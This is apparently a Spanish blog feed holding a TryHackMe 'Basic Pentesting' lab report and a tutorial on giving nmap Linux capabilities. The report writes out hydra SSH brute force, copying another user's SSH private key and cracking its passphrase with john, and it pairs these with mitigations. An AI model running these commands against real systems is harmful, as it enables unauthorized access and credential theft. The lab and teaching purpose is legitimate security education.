<h3 id="resumen-ejecutivo-executive-summary">RESUMEN EJECUTIVO (Executive Summary)</h3>
<ul>
  <li><strong>Propósito</strong>: Proporcionar una visión técnica y operativa sobre la instrusión realizada contra el objetivo en el entorno controlado, detallando las vulnerabilidades explotadas, el movimiento lateral y las medidas para mitigar los riesgos.</li>
  <li><strong>Impacto Principal</strong>: Acceso no autorizado a nivel de usuario en el sistema operativo objetivo (<strong>Linux Ubuntu 20.04</strong>), permitiendo la lectura de archivos locales, enumeración de la configuración interna y extracción de llaves de acceso privadas de otros usuarios.</li>
  <li><strong>Vector de Entrada</strong>: Ataque de fuerza bruta/diccionario sobre el servicio SSH (puerto 22/TCP) tras la enumeración exitosa de nombres de usuario mediante el servicio Samba/SMB.</li>
  <li><strong>Movimiento Lateral</strong>: Compromiso del usuario <code class="language-plaintext highlighter-rouge">kay</code> mediante la extracción externa de su clave privada SSH (<em>id_rsa</em>) almacenada con permisos débiles en <code class="language-plaintext highlighter-rouge">/home/kay/.ssh</code>, seguida del descifrado offline de su frase de paso (<em>passphrase</em>).</li>
  <li><strong>Resumen</strong>: Durante la auditoría/ataque de seguridad del host BasicPentesting, se identi­ficó la exposición de servicios SMB y SSH. Mediante enumeración de usuarios en Samba, se obtuvo el nombre de cuenta de los usuarios <code class="language-plaintext highlighter-rouge">jan</code> y <code class="language-plaintext highlighter-rouge">kay</code>. Un ataque de fuerza bruta posterior contra el puerto 22 permitió obtener acceso inicial. Una vez dentro, se identificó una mala configuración en los permisos del directorio personal del usuario <code class="language-plaintext highlighter-rouge">kay</code>, lo que permitió copiar su clave privada SSH y realizar un movimiento lateral dentro del sistema.</li>
</ul>

<hr />

<h3 id="entorno-objetivo">ENTORNO OBJETIVO</h3>
<ul>
  <li><strong>Nombre de la Amenaza / Host</strong>: TryHackMe - Basic Pentesting</li>
  <li><strong>Dirección IP / Alcance</strong>: <code class="language-plaintext highlighter-rouge">10.113.159.246</code></li>
  <li><strong>Sistema Operativo</strong>: Linux Ubuntu 20.04.6 LTS (Focal Fossa)</li>
  <li><strong>Objetivo Comercial/Función</strong>: Servidor web simulado.</li>
</ul>

<hr />

<h3 id="fase-de-reconocimiento-y-recolección-reconnaissance--enumeration">FASE DE RECONOCIMIENTO Y RECOLECCIÓN (Recon­naissance &amp; Enumeration)</h3>

<h4 id="escaneo-de-red-y-servicios-expuestos">Escaneo de Red y Servicios Expuestos</h4>
<p>Se ejecutó un escaneo completo de puertos mediante Nmap para determinar los servicios
expuestos en la red:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-T4</span> <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> target.log 10.113.159.246
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p22</span>,80,139,445,8009,8080 <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> ports-info.log 10.113.159.246
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Puerto</th>
      <th>Servicio</th>
      <th>Versión</th>
      <th>Estado</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22/TCP</td>
      <td>SSH</td>
      <td>OpenSSH 8.2p1 Ubuntu 4ubuntu0.13</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>80/TCP</td>
      <td>HTTP</td>
      <td>Apache httpd 2.4.41 ((Ubuntu))</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>139/TCP</td>
      <td>netbios-ssn</td>
      <td>Samba smbd 4</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>445/TCP</td>
      <td>netbios-ssn</td>
      <td>Samba smbd 4</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>8009</td>
      <td>ajp13</td>
      <td>Apache Jserv (Protocol v1.3)</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>8080</td>
      <td>HTTP</td>
      <td>Apache Tomcat 9.0.7</td>
      <td>Abierto</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="hallazgos-de-enumeración-web-y-smb">Hallazgos de Enumeración Web y SMB</h3>
<ul>
  <li><strong>Enumeración Web</strong>: Tras revisar el código fuente de la página principal (<code class="language-plaintext highlighter-rouge">http://10.113.159.246/</code>), se identificó un comentario de los desarrolladores indicando la existencia de una ruta oculta, haciendo referencia a <strong>«dev note»</strong>. Esto permitió descubrir la ruta <code class="language-plaintext highlighter-rouge">http://10.113.159.246/development</code> (HTTP 200) en donde se hallaron dos archivos de texto (<code class="language-plaintext highlighter-rouge">dev.txt</code> y <code class="language-plaintext highlighter-rouge">j.txt</code>) con notas internas de los desarrolladores indicando que la contraseña de uno de los usuarios era débil.</li>
  <li><strong>Enumeración SMB</strong>: Se utilizó la herramienta <code class="language-plaintext highlighter-rouge">enum4linux</code> para consultar el servicio <strong>Samba</strong> en los puertos 139/445, logrando descubrir usuarios válidos del sistema operativo, entre
ellos las cuentas de <code class="language-plaintext highlighter-rouge">kay</code> y <code class="language-plaintext highlighter-rouge">jan</code>.</li>
</ul>

<hr />

<h3 id="cadena-de-ataque-kill-chain--technical-analysis">CADENA DE ATAQUE (Kill Chain &amp; Technical Analysis)</h3>

<h4 id="acceso-inicial-initial-access">Acceso Inicial (Initial Access)</h4>
<ul>
  <li><strong>Táctica MITRE ATT&amp;CK</strong>: Brute Force: Pasword Cracking (T1110.002)</li>
  <li><strong>Vulnerabilidad Explotada</strong>: Credenciales débiles en el servicio OpenSSH (CWE-1391 / CWE-522 / CWE-521)</li>
  <li><strong>Descripción del Exploit</strong>:
    <ul>
      <li>Con el usuario <strong>jan</strong> confirmado mediante enum4linux y la pista de clave débil en <code class="language-plaintext highlighter-rouge">/development/</code>, se ejecutó un ataque de diccionario automatizado contra el puerto SSH (22/TCP)</li>
    </ul>
  </li>
  <li>Prueba de Concepto (PoC):
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ataque de diccionario para obtener credenciales</span>
hydra <span class="nt">-l</span> jan <span class="nt">-P</span> /usr/share/wordlists/rockyou.txt ssh://10.113.159.246
<span class="c"># Acceso inicial vía SSH</span>
ssh jan@10.113.159.246
</code></pre></div>    </div>
    <h4 id="puntuación-y-métrica-cvss-v31">Puntuación y Métrica CVSS v3.1</h4>
  </li>
  <li>Puntuación Base: 8.2 (Alto - High)</li>
  <li>Vector CVSS: <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N</code></li>
</ul>

<h4 id="establecimiento-de-persistencia-y-movimiento-lateral">Establecimiento de Persistencia y Movimiento Lateral</h4>
<ul>
  <li><strong>Táctica MITRE ATT&amp;CK</strong>: Unsecure Credentials: Private Keys (T1552.004) / Remote Services: SSH (T1021.004).</li>
  <li><strong>Descripción</strong>: Durante la exploración del sistema de archivos local como el usuario jan, se inspeccionó el directorio <code class="language-plaintext highlighter-rouge">/home/kay</code>. Se detectó que el directorio <code class="language-plaintext highlighter-rouge">.ssh</code> de kay tenía permisos de lectura abiertos a otros usuarios (rwxr-xr-x/766), permitiendo la extracción del archivo de clave privada <strong>id_rsa</strong>.</li>
  <li><strong>Payload Utilizado</strong>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Copia de la llave privada desde la máquina objetivo</span>
scp <span class="nt">-r</span> jan@10.113.159.246:/home/kay/.ssh <span class="nb">.</span>
<span class="c"># Extracción del hash y crack del mismo</span>
ssh2john id_rsa <span class="o">&gt;</span> hash.txt
john <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt hash.txt
<span class="c"># Conexión SSH autenticado como el usuario kay</span>
ssh kay@10.113.159.246 <span class="nt">-i</span> id_rsa
</code></pre></div>    </div>
  </li>
</ul>

<hr />

<h3 id="indicadores-de-compromiso-iocs">INDICADORES DE COMPROMISO (IoCs)</h3>

<h4 id="indicadores-de-red-network-iocs">Indicadores de Red (Network IoCs)</h4>
<ul>
  <li><strong>IPs Maliciosas Relacionadas</strong>: <code class="language-plaintext highlighter-rouge">192.168.137.56</code> (IP de la máquina atacante en la VPN)</li>
  <li><strong>URLs Afectadas</strong>: <code class="language-plaintext highlighter-rouge">http://10.113.159.246/development/</code></li>
  <li><strong>User-Agents Inusuales e Intentos de Conexión</strong>: Múltiples solicitudes de autenticación SSH fallidas registradas desde la IP del atacante (generadas por hydra)</li>
</ul>

<h4 id="indicadores-en-host-host-based-iocs">Indicadores en Host (Host-Based IoCs)</h4>

<ul>
  <li>Rutas de Archivos Sensibles Accesibles:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/home/kay/.ssh</code> (Clave privada SSH expuesta a lectura de otros usuarios)</li>
      <li><code class="language-plaintext highlighter-rouge">/var/www/html/development/dev.txt</code> y <code class="language-plaintext highlighter-rouge">j.txt</code></li>
    </ul>
  </li>
  <li>Registros y Eventos de Autenticación:
    <ul>
      <li>Posibles entradas en <code class="language-plaintext highlighter-rouge">/var/log/auth.log</code> que reflejan el inicio de sesión exitoso vía SSH para el usuario <code class="language-plaintext highlighter-rouge">jan</code>, seguido de intentos de lecutra sobre el directorio <code class="language-plaintext highlighter-rouge">/home/kay/.ssh</code>.</li>
    </ul>
  </li>
</ul>

<hr />

<h3 id="mapeo-de-tácticas-y-técnicas-mitre-attck">MAPEO DE TÁCTICAS Y TÉCNICAS (MITRE ATT&amp;CK)</h3>

<table>
  <thead>
    <tr>
      <th>Fase de la Cadena</th>
      <th>ID Técnica</th>
      <th>Nombre de la Técnica</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Reconnaissance</td>
      <td>TT1595.002</td>
      <td>Active Scanning: Vulnerability Scanning</td>
    </tr>
    <tr>
      <td>Reconnaissance</td>
      <td>T1590</td>
      <td>Gather Victim Network Information</td>
    </tr>
    <tr>
      <td>Credential Access</td>
      <td>T1110.002</td>
      <td>Brute Force: Password Cracking (Hydra)</td>
    </tr>
    <tr>
      <td>Execution</td>
      <td>T1059.004</td>
      <td>Command and Scripting Interpreter: Unix Shell</td>
    </tr>
    <tr>
      <td>Credential Access</td>
      <td>T1552.004</td>
      <td>Unsecured Credentials: Private Keys</td>
    </tr>
    <tr>
      <td>Credential Access</td>
      <td>T1110.002</td>
      <td>Brute Force: Password Cracking (JohnTheRip­per)</td>
    </tr>
    <tr>
      <td>Lateral Movement</td>
      <td>T1021.004</td>
      <td>Remote Services: SSH</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="recomendaciones-y-mitigaciones-actionable-intelligence">RECOMENDACIONES Y MITIGACIONES (Actionable Intel­ligence)</h3>

<h4 id="mitigaciones-inmediatas-tácticas">Mitigaciones Inmediatas (Tácticas)</h4>
<ol>
  <li><strong>Fortalecimiento de Contraseñas</strong>: Gestionar el cambio inmediato de clave para la cuenta jan, implementando una política de contraseñas robustas (mínimo 16 carac­teres, uso de símbolos, números y mayúsculas).</li>
  <li><strong>Remoción de Permisos</strong>: Restringir los permisos del directorio /home/kay/.ssh y sus archivos contenidos usando:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Directorio</span>
<span class="nb">chmod </span>700 /home/kay/.ssh
<span class="c"># Archivo</span>
<span class="nb">chmod </span>600 /home/kay/.ssh
</code></pre></div>    </div>
  </li>
  <li><strong>Protección Contra Fuerza Bruta</strong>: Implementar <code class="language-plaintext highlighter-rouge">fail2ban</code> en el servicio SSH para bloquear direcciones IP tras un límite de intentos fallidos.</li>
</ol>

<h4 id="mitigaciones-a-largo-plazo-estratégicas">Mitigaciones a Largo Plazo (Estratégicas)</h4>

<ol>
  <li><em>Deshabilitar Autenticación por contraseña SSH</em>: Configurar PasswordAuthentication no en el archivo /etc/ssh/sshd_config para uso exclusivo de llaves SSH con “passphrase” robusta.</li>
  <li><em>Auditoría periódica de archivos sensibles</em>: Implementar escaneos automatizados para verificar que ninguna clave o secreto quede almacenado con permisos de lectura para grupos o usuarios no autorizados (<em>other</em>).</li>
</ol>]]></content><author><name></name></author><category term="retos" /><category term="nmap" /><category term="hydra" /><category term="enum4linux" /><category term="smb" /><category term="linux" /><category term="thm" /><summary type="html"><![CDATA[📄 Descargar Informe Oficial (PDF)]]></summary></entry><entry><title type="html">Uso de nmap con capabilities sin necesidad de usar sudo</title><link href="https://xhellhoundx.github.io/articulos/nmap-caps" rel="alternate" type="text/html" title="Uso de nmap con capabilities sin necesidad de usar sudo" /><published>2026-08-07T00:00:00+00:00</published><updated>2026-08-07T00:00:00+00:00</updated><id>https://xhellhoundx.github.io/articulos/nmap-caps</id><content type="html" xml:base="https://xhellhoundx.github.io/articulos/nmap-caps"><![CDATA[<h2 id="introducción">Introducción:</h2>

<p>Tal vez muchos hemos experimentado en alguna distribución Debian-Based (o en mi caso son las que uso) que la herramienta <code class="language-plaintext highlighter-rouge">nmap</code> no ejecuta los <em>escaneos</em> debido a que no contamos con los permisos necesarios de <code class="language-plaintext highlighter-rouge">sudo</code> y nos lanza un mensaje tal como:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  You requested a scan type which requires root privileges.
  QUITTING!
</code></pre></div></div>

<p>Por lo que nos vemos en la necesidad de ejecutar el comando como <strong>super usuario</strong> y de esta forma podrá lanzar el escaneo, esto es debido a una particulardidad de <code class="language-plaintext highlighter-rouge">nmap</code> de utilizar paquetes en crudo (raw), que a su vez viene por una característica de los lenguajes C y C++, los cuales conforman el núcleo de <code class="language-plaintext highlighter-rouge">nmap</code>.</p>

<p>Tras una larga investigación, pude notar que la mayoría de los tópicos que hablan sobre esto van a hacer siempre las mismas recomendaciones:</p>
<ul>
  <li>Asignar un alias/script que ejecute <code class="language-plaintext highlighter-rouge">nmap</code> con <code class="language-plaintext highlighter-rouge">sudo</code></li>
  <li>Asignar directorios a la <strong>ENV VAR</strong> <code class="language-plaintext highlighter-rouge">$PATH</code></li>
  <li>Asignar una contraseña de <code class="language-plaintext highlighter-rouge">sudo</code> sencilla y corta para que sea más eficiente</li>
  <li>Explicaciones solamente de capabilities.</li>
  <li>Explicaciones solamente de <code class="language-plaintext highlighter-rouge">nmap</code>.</li>
</ul>

<p>Y una larga lista de “etc” disponible, pero realmente ¿Estas soluciones podrían llegar a ser efectivas con respecto a lo que realmente podríamos llegar a conocer la distribución que estemos usando actualmente?</p>

<p>La respuesta es “Sí” todas las alternativas son completamente válidas y cada quien tiene el deber/derecho de usar su distribución como mejor le parezca y, por sobre todas las cosas, emplear sus herramientas/métodos de trabajo que le siente de la mejor forma. Sin embargo hay, todavía, una manera mucho más eficiente de poder interactuar con esta necesidad o característica, y es mediante el uso de «capabilities».</p>

<h3 id="antes-de-adentrarnos-veamos-un-poco-la-definición-lo-qué-es-y-que-no-es-capabilities">Antes de adentrarnos veamos un poco la definición, lo qué es y que no es <strong>capabilities</strong>:</h3>

<h4 id="definición">Definición:</h4>
<p>“Con el propósito de realizar comprobaciones de permisos, las implementaciones tradicionales de Unix distinguen dos categorías de procesos: procesos privilegiados (cuyo identificador de usuario efectivo es 0, refiriéndose al superusuario o root) y procesos no privilegiados (cuyo identificador de usuario efectivo es distinto de cero). Los procesos privilegiados evitan todas las comprobaciones de permisos del núcleo, mientras que los procesos no privilegiados se ven sujetos a severas comprobaciones de permisos basadas en las credenciales del proceso (normalmente: ID de usuario efectivo, ID de grupo efectivo y lista de grupos adicionales).</p>

<p>Desde la versión 2.2 del núcleo, Linux ofrece un (hasta ahora incompleto) sistema de capacidades, que divide los privilegios asociados tradicionalmente al superusuario en unidades distintas que pueden ser activadas y desactivadas independientemente.”</p>

<blockquote>
  <p><em>Véase más en</em>:</p>
  <ul>
    <li>https://manpages.ubuntu.com/manpages/bionic/es/man7/capabilities.7.html (español)</li>
    <li>man capabilities</li>
  </ul>
</blockquote>

<h4 id="qué-es">Qué es:</h4>
<ul>
  <li>Un mecanismo de seguridad del núcleo (kernel).</li>
  <li>Comprueba permisos de los usuarios.</li>
  <li>Divide privilegios del usuario root en unidades más pequeñas y específicas.</li>
  <li>Sigue el concepto de “privilegio mínimo” (least privilege).</li>
</ul>

<h4 id="qué-no-es">Qué NO es:</h4>
<ul>
  <li>No son reemplazo de SUID/SGID.</li>
  <li>No otorgan acceso total ilimitado (no dan acceso a root).</li>
  <li>No son infalibles.</li>
</ul>

<p>Entonces, habiendo dado la pequeña introducción a <strong>capabilities</strong> me gustaría resaltar que esto no es una guía del mecanismo sino una pequeña fracción del uso de este en conjunto con una herramienta de auditorías de seguridad.</p>

<h3 id="luego-encontramos-la-definición-qué-es-y-qué-no-es-nmap">Luego encontramos la definición, qué es y qué no es «nmap»:</h3>

<h4 id="definición-1">Definición:</h4>
<p><strong>nmap</strong> (“mapeador de redes”) es una herramienta de código abierto para exploración de red y auditoría de seguridad. Se diseñó para analizar rápidamente grandes redes, aunque funciona muy bien contra equipos individuales. <code class="language-plaintext highlighter-rouge">nmap</code> utiliza paquetes IP “crudos” («raw», N. del T.) en formas originales para determinar qué equipos se encuentran disponibles en una red, qué servicios (nombre y versión de la aplicación) ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros de paquetes o cortafuegos se están utilizando así como docenas de otras características.</p>

<blockquote>
  <p>Vease más en:</p>
  <ul>
    <li>https://nmap.org/man/es/</li>
    <li>man nmap</li>
  </ul>
</blockquote>

<h4 id="qué-es-1">Qué es:</h4>
<ul>
  <li>Herramienta de exploración de redes.</li>
  <li>Herramienta para auditorías de seguridad.</li>
  <li>Identificar activos y puertos abiertos.</li>
  <li>Detectar servicios y sus versiones.</li>
  <li>“Adivinar” el sistema operativo de los host.</li>
  <li>Se centra en el descubrimiento de la infraestructura y evaluación de la superficie de ataque.</li>
</ul>

<h4 id="qué-no-es-1">Qué NO es:</h4>
<ul>
  <li>Escáner de vulnerabilidades.</li>
  <li>No evalúa riesgos específicos ni explota vulnerabilidades (aunque su motor motor de scripting NSE puede realizar PRUEBAS básicas de vulnerabilidades o fuerza bruta).</li>
  <li>Una herramienta de monitoreo en tiempo real.</li>
  <li>Reemplaza la gestión de configuraciones de red.</li>
</ul>

<h2 id="cómo-saber-si-tengo-capabilities">¿Cómo saber si tengo capabilities?</h2>

<p>Todas las distruciones de Linux tienen incorporado <strong>capabilities</strong> (capacidades) sin embargo hay que hacer una distinción en este punto: soporte a nivel del núcleo (kernel) y las herramientas de espacio de usuario (setcap, getcap).</p>

<h4 id="suporte-a-nivel-del-núcleo-kernel">Suporte a nivel del núcleo (kernel):</h4>
<p>El sistema de capabilities (capacidades) es una característica del kernel de Linux, no de alguna distribución en particular. Fue una implentación fija desde finales de los años 90 en el kernel 2.2.</p>

<h4 id="herramientas-de-espacio-de-usuario-setcap-getcap">Herramientas de espacio de usuario (<em>setcap</em>, <em>getcap</em>):</h4>
<p>Lo que sí podría faltar es el paquete que provee <code class="language-plaintext highlighter-rouge">setcap</code> y <code class="language-plaintext highlighter-rouge">getcap</code> como comandos. En Debian y algunas distribuciones basadas en él, el paquete es <code class="language-plaintext highlighter-rouge">libcap2-bin</code>. En otras distribuciones es posible que tengas que instalarlo explícitamente antes de usarlos, aunque el kernel por debajo ya tiene soporte para el mecanismo.</p>

<p>Puedes verificar si tienes estos paquetes ejecutando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  which setcap getcap
</code></pre></div></div>
<p>Ese comando te dará las rutas dónde están los binarios para cada comando. En caso de no tenerlos instalados se deberá instalar:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  sudo apt install libcap2-bin
</code></pre></div></div>
<p>O de la forma antigua:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  sudo apt-get install libcap2-bin
</code></pre></div></div>

<h2 id="cómo-asignar-capabilities-a-nmap-y-cuáles-son-los-riesgos">¿Cómo asignar capabilities a nmap y cuáles son los riesgos?</h2>

<p>Para asignar capabilities tenemos que definir cuáles capacidades debemos asignar a <code class="language-plaintext highlighter-rouge">nmap</code> para que pueda trabajar con paquetes crudos sin ser super usuario:</p>
<ul>
  <li><strong>cap_net_raw</strong>: Permite al usuario no privilegiado crear raw sockets y packets (conexiones y paquetes), lo que facilita la generación y envío de paquetes de red arbitrarios, así como la capacidad de enlazar (bind) a cualquier dirección de IP para fines tales como el enrutamiento transparente o captura de tráfico.</li>
  <li><strong>cap_net_admin</strong>: Capacidad que otorga privilegios para realizar operaciones de administración de red sin necesitar de ejecutar un proceso como usuario root. Esta capacidad permite: configurar interfaces de red y modificar tablas de enrutamiento; administrar el firewall IP, enmascarado y contabilidad de la red; establecer opciones avanzadas de sockets, como el tipo de servicio (TOS) o la prioridad fuera del rango estándar.</li>
</ul>

<p>Para ver estas capacidades podemos hacer el comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  capsh --print
</code></pre></div></div>

<p>Para mayor precisión:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  capsh --print | grep -E "cap_net_raw|cap_net_admin"
</code></pre></div></div>

<p>Una vez sepamos que contamos con el paquete y estemos preparados para añadir las nuevas capacidades debemos hacer el siguiente comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/nmap
</code></pre></div></div>

<p>o también:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  sudo setcap cap_net_raw,cap_net_admin+eip $(which `nmap`)
</code></pre></div></div>

<h3 id="qué-sería-eip">¿Qué sería “+eip”?</h3>

<p>Estas serían las capacidades del archivo (<em>File Capabilities</em>) o capacidades de los procesos. Cada proceso tiene tres conjuntos de capacidades:</p>
<ul>
  <li>Efectivas (<em>e</em>): Capacidades usadas por el núcleo para llevar a cabo comprobaciones de permisos para el proceso.</li>
  <li>Permitidas (<em>p</em>): Las capacidades que un proceso puede asumir. Si un proceso elimina una capacidad de su conjunto permitidas, no puede volver nunca más a adquirir esa capacidad (al menos que se ejecute como SUID-root).</li>
  <li>
    <p>Heredadas (<em>i</em>): Las capacidades que se conservan tras llamadas (ver execve(2)).</p>

    <p>Ejecutar <code class="language-plaintext highlighter-rouge">nmap</code> con privilegios:</p>
  </li>
</ul>

<p>Ahora que tenemos las capacidades configuradas, podremos ejecutar <code class="language-plaintext highlighter-rouge">nmap</code> sin los privilegios de <code class="language-plaintext highlighter-rouge">sudo</code> ya que el binario tendría los privilegios necesarios asignados con capabilities, por lo que se puede usar el flag <code class="language-plaintext highlighter-rouge">--privileged</code>, por ejemplo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  nmap --privileged -sS 192.168.122.0/24
</code></pre></div></div>

<p>De igual forma podemos no usar el flag <code class="language-plaintext highlighter-rouge">--privileged</code> y seguir usando la herramienta sin necesidad de usar <code class="language-plaintext highlighter-rouge">sudo</code>.</p>

<h2 id="aspectos-importantes-sobre-la-asignación-de-capacidades-a-los-binarios-de-usuarios">Aspectos importantes sobre la asignación de capacidades a los binarios de usuarios:</h2>

<p>Hay que destacar algo muy importante con respecto a esto. Cuando asignamos capacidades a los binarios desde el directorio raiz, por ejemplo <code class="language-plaintext highlighter-rouge">/usr/bin/nmap</code>, hay que considerar que las capacidades quedarían establecidas para todos los usuarios pertenecientes al sistema. Es decir que persisten en el sistema de archivos (kernel) no en la sesión. Si compartes computadora con otra persona y asignas capacidades estas quedarán asignadas hasta que se remuevan de forma manual. El problema con esto es que si no se maneja con cuidado, algún usuario podría usar las capacidades para explotar vulnerabilidades o reemplazar el binario por uno malicioso, por ejemplo <strong>cap_setuid</strong> es particularmente peligrosa porque permite a un proceso cambiar su propio UID y podría ser abusado para escalar privilegios a root.</p>

<h2 id="cómo-evitar-que-todos-los-usuarios-tengan-las-mismas-capacidades">¿Cómo evitar que todos los usuarios tengan las mismas capacidades?</h2>

<p>Para evitar entregar capacidades por igual a todos los usuarios sin considerar su <strong>UID</strong> o <strong>GID</strong> podemos usar algunas de estas soluciones:</p>
<ul>
  <li>Permisos tradicionales de archivo + grupo: Crear grupos específicos que recibiran permisos de ejecución para el binario.</li>
  <li>Usar <code class="language-plaintext highlighter-rouge">pam_cap.so</code>: Un módulo PAM de Linux que asigna capacidades específicas de seguridad a las sesiones de los usuarios durante el proceso de autenticación. Podría resumirse a que es un módulo que actúa de la misma forma que setcap pero granulado para usuarios.</li>
</ul>

<h2 id="utilidades">Utilidades:</h2>

<h3 id="qué-me-llevó-al-uso-de-este-mecanismo">¿Qué me llevó al uso de este mecanismo?</h3>
<p>Cuando estoy resolviendo máquinas/retos en plataformas como TryHackMe o HackTheBox, una de las primeras cosas que hago, luego de inspeccionar de forma pasiva todo lo que estoy a punto de vulnerar, es el uso de <code class="language-plaintext highlighter-rouge">nmap</code> para mapear los puertos abiertos y dislumbrar mis posibles entradas, obtener información sobre los servicios corriendo detrás y de ser posible, saber con qué sistema operativo estoy lidiando.</p>

<p>Al principio (hace unos meses atrás) usaba Kali Linux para resolver estos retos en las plataformas, sin embargo en este momento aún tenía un conocimiento mucho más básico sobre Linux en general y, como todos, corría Kali en una máquina virtual porque me gustaba la sensación de tener el poder de un sistema operativo como este. Sin embargo, pasado el tiempo ya empecé a razonar un poco más la situación y me di cuenta que Kali era un sistema operativo demasiado poderoso para el uso que un principiante le puede dar, por lo que me asinceré conmigo mismo y decidí ir por algo más básico y generoso hacia el usuario: Parrot.</p>

<p>Tras la llegada del nuevo sistema operativo, configuración de entorno y nuevas experiencias, cuando resolví la primera máquina, me di cuenta que no me permitía usar <code class="language-plaintext highlighter-rouge">nmap</code> con mi usuario normal y me arrojaba el mensaje de requerimientos de root. Por lo que me fastidió un poco tener que estar todo el rato usando <em>sudo nmap, ingresar contraseña… sudo nmap, ingresar contraseña…</em>, ya que venía acostumbrado a Kali que no me solicitaba el uso de root para este análisis, al finalizar el reto en cuestión decidí investigar cómo evitar el uso de <code class="language-plaintext highlighter-rouge">sudo</code> para <code class="language-plaintext highlighter-rouge">nmap</code>. Para mi sorpresa me costó mucho encontrar una solución, como lo comenté anteriormente, los tópicos siempre son unidireccionales con respecto a esto y pocos se atreven a adentrarse en el tema. No obstante, como creía haber dejado Kali atrás (o así me lo planteé a mí mismo), había eliminado la imágen que contenía Kali, por lo que no alcancé a ver qué era lo que me permitía hacer mis tareas sin tener que teclar la contraseña por cada comando nuevo (prácticamente). Así que tras una búsqueda exhaustiva, me encontré a nuestro querido amigo “setcap” y “getcap” que son comandos para gestionar las capacidades de archivos en Linux (como ya sabemos en Linux todo es tratado como un archivo).</p>

<h3 id="por-qué-no-necesitaba-usar-root-en-kali">¿Por qué no necesitaba usar root en Kali?</h3>
<p>Es importante resaltar esto ya que antes de esta experiencia, no conocía a fondo el uso de «capabilities», de hecho creo que lo usé una sola vez en un reto de TryHackMe y leí el CVE correspondiente sin dar la atención necesaria a lo que realmente representaba, y menos mal me ocurrió esto ya que de no haber sido así no tendría ni la menor idea contra qué estaba lidiando.</p>

<p>El motivo por el cuál ocurría esto es simple: Kali está preconfigurado para que el usuario predeterminado tenga privilegios de <code class="language-plaintext highlighter-rouge">sudo</code>. Al ser un sistema operativo especializado en pruebas de penetración (pentesting) no se complican la vida limitando las herramientas/capacidades de los usuarios, así que dan por sentado que quien esté usando este sistema operativo va por “todo o nada”.
Todo esto podríamos resumirlo a varios aspectos clave:</p>
<ul>
  <li>Requerimientos de privilegios: <code class="language-plaintext highlighter-rouge">nmap</code> requiere acceso al nivel de root para ejecutar escaneos SYN, Detección de SO, y escaneos UDP, por lo que necesita “crear” conexiones crudas (raw sockets) y utilizar paquetes crudos (raw packets).</li>
  <li>Configuración de Kali: A diferencia de las distribuciones estandar de Linux, Kali está diseñado para “pentesting” y típicamente concede derechos administrativos al usuario predeterminado, removiendo la necesidad de ingresar como root.</li>
  <li>Modo sin privilegios: Puedes ejectuar <code class="language-plaintext highlighter-rouge">nmap</code> sin <code class="language-plaintext highlighter-rouge">sudo</code>, pero la herramienta se conectará de forma predeterminada mediante el protocolo TCP (los cuales son más lentos, ruidosos y con menos precisión) y desactivará características como escaneos UDP y las huellas del SO como conexiones crudas (raw sockets) y utilizar paquetes crudos (raw packets).</li>
</ul>]]></content><author><name>Pedro Parmentier</name></author><category term="articulos" /><category term="capabilities" /><category term="nmap" /><summary type="html"><![CDATA[Introducción:]]></summary></entry></feed>